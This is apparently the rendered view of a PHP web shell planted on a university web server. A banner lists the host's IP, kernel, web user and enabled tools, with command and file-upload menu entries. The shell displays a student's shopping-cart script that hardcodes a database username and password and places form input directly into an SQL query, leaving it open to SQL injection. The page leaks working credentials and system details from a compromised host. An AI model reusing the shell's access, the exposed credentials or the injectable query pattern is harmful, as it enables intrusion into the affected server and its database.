Server IP : 172.16.15.8 / Your IP : 3.135.206.25 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/wcdavis/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); ?> <h2><center>Sale Menu</h2></center> <hr> <?php $counter = $_SESSION['counter']; $items; $quantities; if(!isset($counter)) { $counter = 0; } if(isset($_POST['Clear'])) { $counter = 0; unset($items); } if(isset($_POST['items'])) { $items["$counter"] = $_POST['items']; //echo "$items[$counter]"; } echo "counter is at $counter"; //echo "Pass number: $counter"; $username = $_POST['username']; $password = $_POST['password']; // first round, establish the basic security $host = 'localhost'; $user = 'wcdavis'; $pass = 'cs480'; $database = 'wcdavis'; $connect = mysql_connect($host, $user, $pass); $table_name = 'ITEMS'; ?> <form method=post> <?php if($connect) { MYSQL_select_db($database); print "<table border=1><center>"; print "<th>SKU<th>Name<th>Price<th>Quantity"; for($i=0;$i<=$counter;$i++) // this is going to create each query to check SQL { $query[$i] = "Select SKU, name, price from $table_name where SKU = '$items[$counter]'"; //echo "$query[$i] <br>"; $result_id[$i] = mysql_query($query[$i], $connect); if($result_id) { while($row=mysql_fetch_row($result_id[$i])) { print "<tr>"; foreach ($row as $field) { print "<td>$field</td>"; if($field=="Quantity") { echo "<select name='quantity[$i]'>"; for($i=0; $i<10; $i++) {print "<option>$i</option>";} echo "</select>"; } } print "</tr>"; } } //else //{echo "not working. <a href='uposdir.php'>Try again?</a>";} //test commands } echo "</center></table><br>"; for($j=1;$j<=$counter; $j++) {echo "$query[$j] <BR>";} } else{echo "cannot connect to $host";} $counter++; $_SESSION['counter'] = $counter; echo "counter after increase = $counter<br>"; echo "<p><p><p>Please enter the SKU of the items being sold.<br>"; echo "<INPUT type=text name=items><br>"; echo "<INPUT type='submit' name='submit' value='Enter'>"; echo "<INPUT type='submit' name='submit' value='Check Out'>"; //sql commands to retrieve an item from SQL database, subtract item # by 1. //Then, display the item and cost. //for($i=0; $i<10; $i++) //print "<option>$i</option>"; ?> <p> <a href="uposdir.php">Back to the main menu?</A> <hr>